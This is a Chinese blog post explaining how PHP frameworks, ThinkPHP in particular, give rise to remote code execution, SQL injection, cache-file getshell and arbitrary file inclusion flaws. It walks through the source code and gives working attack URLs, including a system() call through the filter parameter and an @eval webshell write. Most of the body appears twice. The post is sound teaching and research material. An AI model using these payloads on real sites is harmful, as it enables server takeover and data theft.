简单理解 PHP 框架可能产生的安全问题
小编:艳芬 461阅读 2020.11.04
0X01 框架简介
现在的 php 框架,一般都是单一入口
define('SF_PATH',dirname(__DIR__));require_once(SF_PATH.'/src/Sf.php');require_once(__DIR__ . '/../vendor/autoload.php');ini_set("display_errors", "On");error_reporting(E_ALL | E_STRICT);$application = new \sf\web\Application();$application->run();
加载基础文件后,引入自动加载机制,调用框架类,处理请求并发送响应
那么框架类都要做什么?
框架类会将请求封装成 Resquest 对象,并且解析路由,调用对应的 controller 处理,然后返回 Response 对象,并且框架会提供一些辅助工具, 如 缓存, 模板, model 。
接下来,就看看框架在进行相应出来时可能会产生什么问题.
0x02 控制器调用
$router = $_GET['r'];list($controllerName, $actionName) = explode('/',$router);$ucController = ucfirst($controllerName);$controllerNameAll = 'app\\controllers\\'.$ucController.'Controller';$controller = new $controllerNameAll();$controller ->id = $controllerName;$controller -> action = $actionName;return call_user_func([$controller,'action'.ucfirst($actionName)]);
框架类对控制器的调用是通过 call_user_func 实现的,如果对控制器和方法没有做好校验,就可能导致任意方法调用,进而导致代码执行,thinphp 两个 rce 漏洞都和这个相关
// ./thinkphp/library/think/route/Dispatch.php public function exec(){ ... // 实例化控制器 $instance = $this->app->controller($this->controller, ... $action = $this->actionName . $this->rule->getConfig('action_suffix'); .... $reflect = new ReflectionMethod($instance, $action); $methodName = $reflect->getName(); ... $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName; // 自动获取请求变量 $vars = $this->rule->getConfig('url_param_type') ? $this->request->route() : $this->request->param(); $vars = array_merge($vars, $this->param); .... $data = $this->app->invokeReflectMethod($instance, $reflect, $vars);
类比 simple-framework 框架, thinphp 要做的也是获取控制器名,方法名,和参数,然后利用类似call_user_func进行执行.这样很会导致调用 任意类的任意方法.
thinphp 使用反射机制来实现控制器调用
$data = $this->app->invokeReflectMethod($instance, $reflect, $vars);
如果没有开启强制路由,传入
?s=index/\think\Request/input&filter[]=system&data=pwd
此时 $this->controller 为 \think\Request,\$this->actionName 为 input, 最终调用了 request 对象下了 input 方法, input 方法为了支持自定义过滤器存在 call_user_func 函数,最终导致代码执行
0X03 model
Model 类的作用是映射数据库表,进行增删改查操作,并且返回 Model 对象,
Model 对象是把数据库指定表中的一行数据映射,并有增删改查的操作方法(利用主键,构造 where,还是调用 Model 类的方法实现).
model 模型会实例化一个数据库连接对象,进行数据库操作
public static function updateAll($condition, $attributes){ $sql = 'update '. static::tableName(); $params = []; if(!empty($attributes)){ $sql .= ' set '; $params = array_values($attributes); $keys = []; foreach($attributes as $key => $value){ array_push($keys, "$key = ?"); } $sql .= implode(' , ', $keys); } list($where, $param) = static::buildWhere($condition); $sql .= $where; // array_push($params, $param[0]); $params =array_merge($params, $param); $stmt = static::getDb()->prepare($sql); $execResult = $stmt->execute($params); if ($execResult){ $execResult = $stmt->rowCount(); } return $execResult; }
以 update 的实现为例, 代码的大体逻辑是将 update 的 set 部分拼接好然后调用增删改查都可用的 buildwhere, 构造 where 语句, 然后进行 sql 执行。
可见,在底层既有 key 的拼接,又有 value 的拼接,如果没有做好过滤,很容易产生 sql 注入,尤其是很多开发者为了扩建功能,提供一些新的支持,也会导致各种各样的问题,
虽然这个底层用了预编译,可能利用价值不高
thinkphp insert 方法注入
版本5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5
//控制器设置$username = request()->get('username/a');db('users')->insert(['username' => $username]);return 'Update success';//payloadindex?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
对应 simple-framework 框架, thinkphp 的 db/Query 类下的 insert 实现要做的也是, 构建 sql 语句,然后预编译执行
// library/db/Query// 删除了部分不必要代码 public function insert(array $data = [], $replace = false, $getLastInsID = false, $sequence = null){ // 分析查询表达式 $options = $this->parseExpress(); $data = array_merge($options['data'], $data); // 生成SQL语句 $sql = $this->builder->insert($data, $options, $replace); // 获取参数绑定 $bind = $this->getBind(); // 执行操作 $result = 0 === $sql ? 0 : $this->execute($sql, $bind); return $result;
thinphp 前面对表达式进行了分析,不过不影响我们的 payload
我们跟进$this->builder->insert($data, $options, $replace);,看语句是怎么构建的
$data = $this->parseData($data, $options); $fields = array_keys($data); $values = array_values($data); $sql = str_replace( ['%INSERT%', '%TABLE%', '%FIELD%', '%DATA%', '%COMMENT%'], [ $replace ? 'REPLACE' : 'INSERT', $this->parseTable($options['table'], $options), implode(' , ', $fields), implode(' , ', $values), $this->parseComment($options['comment']), ], $this->insertSql); // $this->insertSql=%INSERT% INTO %TABLE% (%FIELD%) VALUES (%DATA%) %COMMENT% return $sql; }
可以看到,先解析要插入的数据,然后替换模板进行插入,我们跟进 parseData 方法
foreach ($data as $key => $val) { } elseif (is_array($val) && !empty($val)) { switch ($val[0]) { case 'exp': $result[$item] = $val[1]; break; case 'inc': $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]); break; case 'dec': $result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]); break; }
在 parseData, thinphp 为 insert 数组的插入提供了额外的支持, 如果数组的第一个字段是 exp,则直接执行第二个字段的 sql 语句,
在 thinkphp3 的时候,全局没有过滤 exp 也曾出过注入漏洞, 现在 thinphp 默认会将外部输入的数组中的 exp 后面加一个空格,所以这里匹配不到
但这里的 inc, 全局没有过滤,而又直接拼接了 $val[1] 和 $val[2] 导致注入漏洞的产生,
这个地方在 5.1.6<=ThinkPHP<=5.1.7 , 因为新增了默认处理, 还出过 update 注入
一些可能导致注入的情况总结
因为框架要扩展各种各样的函数,会出现各种复杂的情况,很容易导致注入漏洞的产生.
1、order by 字段
因为传入的是表名,导致一般单引号,双引号的防御失效, 参考 5.1.16<=ThinkPHP5<=5.1.22, order by 方法注入
2、聚合函数
还是反引号的问题,参考 5.0.0<=ThinkPHP<=5.0.21, 5.1.3<=ThinkPHP5<=5.1.25 聚会函数注入
3、开发者扩展的新功能
insert 支持二维数组插入多条数据,而全局过滤没有过滤 key 导致利用 key 进行注入,参考 PbootCMS
4、还有数组未过滤 key,然后拼接到 buildwhere 语句的字段名导致注入
0X04 缓存
interface CacheInterface{ public function buildKey($key); public function get($key); public function exists($key); public function mget($keys); public function set($key, $value,$duration = 0); public function mset($items, $duration = 0); public function add($key, $value, $duration = 0); public function madd($items, $duration = 0); public function delete($key); public function flush();}
缓存组件,一般在扩展的组件中
会提供类似 set 和 get 方法,将想要缓存的数据写入文件或数据库,方便下次读取
如果使用文件驱动类,一般的操作是利用 $key 构建文件名, 然后放在 runtime 目录,如果网站是直接安装的根目录的,那么 runtime 目录是可以直接访问的有些框架为了防止用户直接访问到缓存数据,将文件名设置为 xx.php, 则可能导致 rce
set 方法会构建文件名,失效时间,然后把数据存入文件
public function set($key, $value, $duration = 0){$key = $this->buildKey($key);$cacheFile = $this->cachePath.$key;$value = serialize($value);if(@file_put_contents($cacheFile,$value,LOCK_EX)!==false){if($duration<=0){$duration = 31536000;}# 用修改时间,标志缓存结束时间return touch($cacheFile,$duration+time());}}
5.0.0<=ThinkPHP5<=5.0.10 缓存文件 getshell
//控制器,需要创建对应模板use think\Cache; Cache::set("name",input("get.username")); return 'Cache success';// payloadindex/?username=wendell123%0d%0a@eval($_GET[_]);//
在 thinphp 的 Cache 类的 set 中,先通过单例模式 init 方法,创建一个实例, 默认为 file,
既调用think\cache\driver\File的 set 方法
public static function set($name, $value, $expire = null){self::$writeTimes++;return self::init()->set($name, $value, $expire);}
跟一下
public function set($name, $value, $expire = null){ if (is_null($expire)) { $expire = $this->options['expire']; } if ($expire instanceof \DateTime) { $expire = $expire->getTimestamp() - time(); } $filename = $this->getCacheKey($name, true); if ($this->tag && !is_file($filename)) { $first = true; } $data = serialize($value); if ($this->options['data_compress'] && function_exists('gzcompress')) { //数据压缩 $data = gzcompress($data, 3); } $data = "\n" . $data; $result = file_put_contents($filename, $data); if ($result) { isset($first) && $this->setTagItem($filename); clearstatcache(); return true; } else { return false; } }
虽然代码很多,类比 simple-framework 的实现,它要做的还是设置失效时间,然后将数据序列化,最后存入文件中,重点是这里
$data = "\n" . $data;
可以看到 thinphp 是将数据写在 // 后,只要利用换行绕过,写入文件后,即可 getshell.
0X05 模板
public function compile($file = null,$params = []){ $path = '../views/'.$file.'.sf'; extract($params); if(!$this->isExpired($path)){ $compiled = $this->getComiledPath($path); require_once $compiled; }
控制器,调用模板的渲染方法,并且传入数据,最后返回 html 结果.
php 模板的实现方式一般为,将模板中的 {{name}} 替换为对应的 php 代码,如
并且对文件进行缓存,下次使用时,判断缓存不过期便,直接读取,并把用户传入变量用 extract 扩展到全局,然后进行包含操作,输出内容
在 extract($params),可能会有变量覆盖,进而导致任意文件包含
5.0.0<=ThinkPHP5<=5.0.18 、5.1.0<=ThinkPHP<=5.1.10 任意文件包含
//控制器,需要创建对应模板$this->assign(request()->get()); return $this->fetch();// payloadindex/index/index?cacheFile=evil.php
在 Template 的实现部分
public function fetch($template, $vars = [], $config = []){ if ($vars) { $this->data = $vars; } if ($config) { $this->config($config); } if (!empty($this->config['cache_id']) && $this->config['display_cache']) { // 读取渲染缓存 $cacheContent = Cache::get($this->config['cache_id']); if (false !== $cacheContent) { echo $cacheContent; return; } } $template = $this->parseTemplateFile($template); if ($template) { $cacheFile = $this->config['cache_path'] . $this->config['cache_prefix'] . md5($this->config['layout_name'] . $template) . '.' . ltrim($this->config['cache_suffix'], '.'); if (!$this->checkCache($cacheFile)) { // 缓存无效 重新模板编译 $content = file_get_contents($template); $this->compiler($content, $cacheFile); } // 页面缓存 ob_start(); ob_implicit_flush(0); // 读取编译存储 $this->storage->read($cacheFile, $this->data); // 获取并清空缓存 $content = ob_get_clean(); if (!empty($this->config['cache_id']) && $this->config['display_cache']) { // 缓存页面输出 Cache::set($this->config['cache_id'], $content, $this->config['cache_time']); } echo $content; }
上述代码也是相同的逻辑,重点看
$this->storage->read($cacheFile, $this->data);
模板文件的加载部分
public function read($cacheFile, $vars = []){ if (!empty($vars) && is_array($vars)) { // 模板阵列变量分解成为独立变量 extract($vars, EXTR_OVERWRITE); } //载入模版缓存文件 include $cacheFile; }
可以看到,thinphp 在处理 vars,直接覆盖了变量,如果传入 $cachefile,则导致任意文件包含
现在的 php 框架,一般都是单一入口
define('SF_PATH',dirname(__DIR__));require_once(SF_PATH.'/src/Sf.php');require_once(__DIR__ . '/../vendor/autoload.php');ini_set("display_errors", "On");error_reporting(E_ALL | E_STRICT);$application = new \sf\web\Application();$application->run();
加载基础文件后,引入自动加载机制,调用框架类,处理请求并发送响应
那么框架类都要做什么?
框架类会将请求封装成 Resquest 对象,并且解析路由,调用对应的 controller 处理,然后返回 Response 对象,并且框架会提供一些辅助工具, 如 缓存, 模板, model 。
接下来,就看看框架在进行相应出来时可能会产生什么问题.
0x02 控制器调用
$router = $_GET['r'];list($controllerName, $actionName) = explode('/',$router);$ucController = ucfirst($controllerName);$controllerNameAll = 'app\\controllers\\'.$ucController.'Controller';$controller = new $controllerNameAll();$controller ->id = $controllerName;$controller -> action = $actionName;return call_user_func([$controller,'action'.ucfirst($actionName)]);
框架类对控制器的调用是通过 call_user_func 实现的,如果对控制器和方法没有做好校验,就可能导致任意方法调用,进而导致代码执行,thinphp 两个 rce 漏洞都和这个相关
// ./thinkphp/library/think/route/Dispatch.php public function exec(){ ... // 实例化控制器 $instance = $this->app->controller($this->controller, ... $action = $this->actionName . $this->rule->getConfig('action_suffix'); .... $reflect = new ReflectionMethod($instance, $action); $methodName = $reflect->getName(); ... $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName; // 自动获取请求变量 $vars = $this->rule->getConfig('url_param_type') ? $this->request->route() : $this->request->param(); $vars = array_merge($vars, $this->param); .... $data = $this->app->invokeReflectMethod($instance, $reflect, $vars);
类比 simple-framework 框架, thinphp 要做的也是获取控制器名,方法名,和参数,然后利用类似call_user_func进行执行.这样很会导致调用 任意类的任意方法.
thinphp 使用反射机制来实现控制器调用
$data = $this->app->invokeReflectMethod($instance, $reflect, $vars);
如果没有开启强制路由,传入
?s=index/\think\Request/input&filter[]=system&data=pwd
此时 $this->controller 为 \think\Request,\$this->actionName 为 input, 最终调用了 request 对象下了 input 方法, input 方法为了支持自定义过滤器存在 call_user_func 函数,最终导致代码执行
0X03 model
Model 类的作用是映射数据库表,进行增删改查操作,并且返回 Model 对象,
Model 对象是把数据库指定表中的一行数据映射,并有增删改查的操作方法(利用主键,构造 where,还是调用 Model 类的方法实现).
model 模型会实例化一个数据库连接对象,进行数据库操作
public static function updateAll($condition, $attributes){ $sql = 'update '. static::tableName(); $params = []; if(!empty($attributes)){ $sql .= ' set '; $params = array_values($attributes); $keys = []; foreach($attributes as $key => $value){ array_push($keys, "$key = ?"); } $sql .= implode(' , ', $keys); } list($where, $param) = static::buildWhere($condition); $sql .= $where; // array_push($params, $param[0]); $params =array_merge($params, $param); $stmt = static::getDb()->prepare($sql); $execResult = $stmt->execute($params); if ($execResult){ $execResult = $stmt->rowCount(); } return $execResult; }
以 update 的实现为例, 代码的大体逻辑是将 update 的 set 部分拼接好然后调用增删改查都可用的 buildwhere, 构造 where 语句, 然后进行 sql 执行。
可见,在底层既有 key 的拼接,又有 value 的拼接,如果没有做好过滤,很容易产生 sql 注入,尤其是很多开发者为了扩建功能,提供一些新的支持,也会导致各种各样的问题,
虽然这个底层用了预编译,可能利用价值不高
thinkphp insert 方法注入
版本5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5
//控制器设置$username = request()->get('username/a');db('users')->insert(['username' => $username]);return 'Update success';//payloadindex?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
对应 simple-framework 框架, thinkphp 的 db/Query 类下的 insert 实现要做的也是, 构建 sql 语句,然后预编译执行
// library/db/Query// 删除了部分不必要代码 public function insert(array $data = [], $replace = false, $getLastInsID = false, $sequence = null){ // 分析查询表达式 $options = $this->parseExpress(); $data = array_merge($options['data'], $data); // 生成SQL语句 $sql = $this->builder->insert($data, $options, $replace); // 获取参数绑定 $bind = $this->getBind(); // 执行操作 $result = 0 === $sql ? 0 : $this->execute($sql, $bind); return $result;
thinphp 前面对表达式进行了分析,不过不影响我们的 payload
我们跟进$this->builder->insert($data, $options, $replace);,看语句是怎么构建的
$data = $this->parseData($data, $options); $fields = array_keys($data); $values = array_values($data); $sql = str_replace( ['%INSERT%', '%TABLE%', '%FIELD%', '%DATA%', '%COMMENT%'], [ $replace ? 'REPLACE' : 'INSERT', $this->parseTable($options['table'], $options), implode(' , ', $fields), implode(' , ', $values), $this->parseComment($options['comment']), ], $this->insertSql); // $this->insertSql=%INSERT% INTO %TABLE% (%FIELD%) VALUES (%DATA%) %COMMENT% return $sql; }
可以看到,先解析要插入的数据,然后替换模板进行插入,我们跟进 parseData 方法
foreach ($data as $key => $val) { } elseif (is_array($val) && !empty($val)) { switch ($val[0]) { case 'exp': $result[$item] = $val[1]; break; case 'inc': $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]); break; case 'dec': $result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]); break; }
在 parseData, thinphp 为 insert 数组的插入提供了额外的支持, 如果数组的第一个字段是 exp,则直接执行第二个字段的 sql 语句,
在 thinkphp3 的时候,全局没有过滤 exp 也曾出过注入漏洞, 现在 thinphp 默认会将外部输入的数组中的 exp 后面加一个空格,所以这里匹配不到
但这里的 inc, 全局没有过滤,而又直接拼接了 $val[1] 和 $val[2] 导致注入漏洞的产生,
这个地方在 5.1.6<=ThinkPHP<=5.1.7 , 因为新增了默认处理, 还出过 update 注入
一些可能导致注入的情况总结
因为框架要扩展各种各样的函数,会出现各种复杂的情况,很容易导致注入漏洞的产生.
1、order by 字段
因为传入的是表名,导致一般单引号,双引号的防御失效, 参考 5.1.16<=ThinkPHP5<=5.1.22, order by 方法注入
2、聚合函数
还是反引号的问题,参考 5.0.0<=ThinkPHP<=5.0.21, 5.1.3<=ThinkPHP5<=5.1.25 聚会函数注入
3、开发者扩展的新功能
insert 支持二维数组插入多条数据,而全局过滤没有过滤 key 导致利用 key 进行注入,参考 PbootCMS
4、还有数组未过滤 key,然后拼接到 buildwhere 语句的字段名导致注入
0X04 缓存
interface CacheInterface{ public function buildKey($key); public function get($key); public function exists($key); public function mget($keys); public function set($key, $value,$duration = 0); public function mset($items, $duration = 0); public function add($key, $value, $duration = 0); public function madd($items, $duration = 0); public function delete($key); public function flush();}
缓存组件,一般在扩展的组件中
会提供类似 set 和 get 方法,将想要缓存的数据写入文件或数据库,方便下次读取
如果使用文件驱动类,一般的操作是利用 $key 构建文件名, 然后放在 runtime 目录,如果网站是直接安装的根目录的,那么 runtime 目录是可以直接访问的有些框架为了防止用户直接访问到缓存数据,将文件名设置为 xx.php, 则可能导致 rce
set 方法会构建文件名,失效时间,然后把数据存入文件
public function set($key, $value, $duration = 0){$key = $this->buildKey($key);$cacheFile = $this->cachePath.$key;$value = serialize($value);if(@file_put_contents($cacheFile,$value,LOCK_EX)!==false){if($duration<=0){$duration = 31536000;}# 用修改时间,标志缓存结束时间return touch($cacheFile,$duration+time());}}
5.0.0<=ThinkPHP5<=5.0.10 缓存文件 getshell
//控制器,需要创建对应模板use think\Cache; Cache::set("name",input("get.username")); return 'Cache success';// payloadindex/?username=wendell123%0d%0a@eval($_GET[_]);//
在 thinphp 的 Cache 类的 set 中,先通过单例模式 init 方法,创建一个实例, 默认为 file,
既调用think\cache\driver\File的 set 方法
public static function set($name, $value, $expire = null){self::$writeTimes++;return self::init()->set($name, $value, $expire);}
跟一下
public function set($name, $value, $expire = null){ if (is_null($expire)) { $expire = $this->options['expire']; } if ($expire instanceof \DateTime) { $expire = $expire->getTimestamp() - time(); } $filename = $this->getCacheKey($name, true); if ($this->tag && !is_file($filename)) { $first = true; } $data = serialize($value); if ($this->options['data_compress'] && function_exists('gzcompress')) { //数据压缩 $data = gzcompress($data, 3); } $data = "\n" . $data; $result = file_put_contents($filename, $data); if ($result) { isset($first) && $this->setTagItem($filename); clearstatcache(); return true; } else { return false; } }
虽然代码很多,类比 simple-framework 的实现,它要做的还是设置失效时间,然后将数据序列化,最后存入文件中,重点是这里
$data = "\n" . $data;
可以看到 thinphp 是将数据写在 // 后,只要利用换行绕过,写入文件后,即可 getshell.
0X05 模板
public function compile($file = null,$params = []){ $path = '../views/'.$file.'.sf'; extract($params); if(!$this->isExpired($path)){ $compiled = $this->getComiledPath($path); require_once $compiled; }
控制器,调用模板的渲染方法,并且传入数据,最后返回 html 结果.
php 模板的实现方式一般为,将模板中的 {{name}} 替换为对应的 php 代码,如
并且对文件进行缓存,下次使用时,判断缓存不过期便,直接读取,并把用户传入变量用 extract 扩展到全局,然后进行包含操作,输出内容
在 extract($params),可能会有变量覆盖,进而导致任意文件包含
5.0.0<=ThinkPHP5<=5.0.18 、5.1.0<=ThinkPHP<=5.1.10 任意文件包含
//控制器,需要创建对应模板$this->assign(request()->get()); return $this->fetch();// payloadindex/index/index?cacheFile=evil.php
在 Template 的实现部分
public function fetch($template, $vars = [], $config = []){ if ($vars) { $this->data = $vars; } if ($config) { $this->config($config); } if (!empty($this->config['cache_id']) && $this->config['display_cache']) { // 读取渲染缓存 $cacheContent = Cache::get($this->config['cache_id']); if (false !== $cacheContent) { echo $cacheContent; return; } } $template = $this->parseTemplateFile($template); if ($template) { $cacheFile = $this->config['cache_path'] . $this->config['cache_prefix'] . md5($this->config['layout_name'] . $template) . '.' . ltrim($this->config['cache_suffix'], '.'); if (!$this->checkCache($cacheFile)) { // 缓存无效 重新模板编译 $content = file_get_contents($template); $this->compiler($content, $cacheFile); } // 页面缓存 ob_start(); ob_implicit_flush(0); // 读取编译存储 $this->storage->read($cacheFile, $this->data); // 获取并清空缓存 $content = ob_get_clean(); if (!empty($this->config['cache_id']) && $this->config['display_cache']) { // 缓存页面输出 Cache::set($this->config['cache_id'], $content, $this->config['cache_time']); } echo $content; }
上述代码也是相同的逻辑,重点看
$this->storage->read($cacheFile, $this->data);
模板文件的加载部分
public function read($cacheFile, $vars = []){ if (!empty($vars) && is_array($vars)) { // 模板阵列变量分解成为独立变量 extract($vars, EXTR_OVERWRITE); } //载入模版缓存文件 include $cacheFile; }
可以看到,thinphp 在处理 vars,直接覆盖了变量,如果传入 $cachefile,则导致任意文件包含
相关推荐
- PHP使用elasticsearch搜索安装及分词方法 简介为什么会用到这个ES搜索?是因为在看乌云的漏洞案例库时候,搜索即为不方便。比如说说我要搜索一个 SQL注入那mysql匹配的时候是like模糊匹配,搜索必须要有SQL注入这四个字,连续的才能查找到那这样会不太方便。然后我就想着做一个分词,搜索起来会方便不少…
- 3DMAX提示和技巧 本主题标识使用 Civil View 的一些重要提示和技巧。常规使用屏幕分辨率至少为 1280x1024 的 Civil View。低于此分辨率时,一些面板将占用过多屏幕空间。 将视口设置为线框显示以达到最佳性能。 要尽可能简化用户界面,请在单个视口中工作并关闭 3ds Max 命令面…